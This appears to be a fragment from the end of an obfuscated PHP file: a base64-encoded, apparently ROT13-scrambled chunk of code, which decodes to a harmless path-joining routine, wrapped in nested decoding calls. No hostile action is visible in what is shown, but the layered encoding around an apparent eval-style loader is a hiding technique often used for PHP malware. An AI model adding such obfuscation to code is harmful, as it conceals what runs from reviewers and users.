ZWdDbmd1WyR2XSA9PSAnJykgbmFxICgkdiE9JHJ5ZikgbmFxICgkdiE9MCkpew0KICAgICAgICAgICAgICAgIH0Jcnlmcg0KCQkJCQkkZXJmaHlnID0gJGNuZWdDbmd1WyR2XS4oJHYhPSRyeWYgPyAnLycuJGVyZmh5ZyA6ICcnKTsNCgkJCX0NCgkJfSByeWZyICRlcmZoeWcgPSAnJzsNCgkJDQoJCWVyZ2hlYSAkZXJmaHlnOw0KCX0NCn0NCj8+",1),2),3);?>